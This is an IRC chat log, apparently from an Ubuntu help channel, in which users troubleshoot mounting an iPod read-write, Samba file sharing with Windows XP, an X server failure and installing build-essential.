[11:54] <Concord_Dawn> Can someone tell me how the fuck to make Ubuntu automagically mount my iPod as read-write? It only mounts as read-only.
[11:55] <arnehansen> anyone good with X here ? my X server will not start
[11:55] <Concord_Dawn> arnehansen, checked the logs?
[11:55] <DewDude> wouldn't the ipod use the usbfs?
[11:55] <arnehansen> yeah, didn't make much sense to me, i am new to this
[11:55] <arnehansen> :)
[11:55] <arnehansen> let me see
[11:55] <Concord_Dawn> DewDude, Fat32? :-P
[11:55] <LasseL> Concord_Dawn, I think I changed the owner of the folder it mounts to
[11:55] <Concord_Dawn> well
[11:55] <Milk_> Natx, still the same problem
[11:55] <DF2> it wont do anything else dew
[11:55] <BSG75> my ipod works right out of the box... puts it on the desktop as an USB device
[11:55] <[t0rc] > NoUse: where can I find build tools? is it like btools in universe or ?
[11:55] <Milk_> BSG75, yep, I've restarted it
[11:55] <DewLinux> i'm just spouting out ideas
[11:56] <Concord_Dawn> according to the permissions, it's 700, but I can't delete off it.
[11:56] <DewLinux> but...heh
[11:56] <Natx> when you acces \\IP_ubuntu can you see the share?
[11:56] <DewLinux> i'm also the person with two PC's in front of him
[11:56] <Concord_Dawn> and yes I'm the owner :-P
[11:56] <NoUse> [t0rc]  I told you, the build-essential package
[11:56] <emile> is there a way to do a 'windows tile' in ubuntu/gnome?
[11:56] <omp342> hmm.. the free opera registration still works
[11:56] <Concord_Dawn> emile, windows tile?
[11:56] <_lui_> DewLinux, yep man it matters, everytime I had try it with different chipsets it happens. If I put it in other KT600 MB it boots, but if it's NForce or Intel it doesn't . Even in safe mode.
[11:56] <Milk_> Natx, what was that?
[11:56] <DF2> can anyone help me with a problem with pppoeconf
[11:56] <DewLinux> dude, very strange
[11:56] <LasseL> Concord_Dawn, /dev/sda1       /media/ipod     auto    noauto,user,rw  0       0
[11:56] <DewLinux> i've swapped XP drives before...it gets angry
[11:57] <LasseL> Concord_Dawn, is in my /etc/fstab
[11:57] <DewLinux> but it's always booted
[11:57] <Concord_Dawn> hmmm
[11:57] <LasseL> Concord_Dawn, I have a shuffle
[11:57] <Rondom> omp342: free opera registration?
[11:57] <Concord_Dawn> lemme check mine
[11:57] <Concord_Dawn> LasseL, I have a mini
[11:57] <Natx> Milk_: try to execute \\ followed by the ubuntu's IP address in Run option (Start XP Menu)
[11:57] <emile> Concord_Dawn: yes like in windows (win 3.x had it ;-)
[11:57] <DewLinux> shouldn't mater if it's a mini or not
[11:57] <omp342> Rondom: you can get opera full version for free
[11:57] <Natx> Milk_: a window should appear showing you shares
[11:58] <BSG75> Milk_: only thing I can think of is that your smb.conf has something wrong with it .. or I would recommend recreated another user and see if your last user was not created properly .. either way if you want I can give you my smb.conf
[11:58] <DewLinux> i've got two things  i want to accomplish this evening...a) getting ubuntu using direct rendering on video...and filesharing on XP.......
[11:58] <omp342> Rondom: http://my.opera.com/community/party/reg.dml
[11:58] <_lui_> DewLinux, thanks anyway
[11:58] <Milk_> Natx, its not
[11:58] <DewLinux> who can offer advice with the first problem
[11:58] <Natx> Milk_: you should have also a "browseable = yes" in your share definition
[11:58] <Milk_> yep
[11:59] <Natx> Milk_: and if your user is going to write a writeable=yes
[11:59] <belal122> filesharing with xp ssytems on ur network?  try samba?
[11:59] <DewDude> heh, i did
[11:59] <DewDude> briefly
[11:59] <Milk_> its not writable
[11:59] <DewDude> i imagine it's a simple thing i didn't do
[11:59] <belal122> hmm...
[11:59] <DewDude> it wasn't on my important list
[11:59] <Milk_> windows sees the machine, just won't let me into it
[11:59] <belal122> hmm
[11:59] <Natx> Milk_ and public? have you a public = yes=?
[12:00] <[t0rc] > NoUse: well whats it called on the actual .deb name?
[12:00] <NoUse> [t0rc]  thats what its called, sudo apt-get install build-essential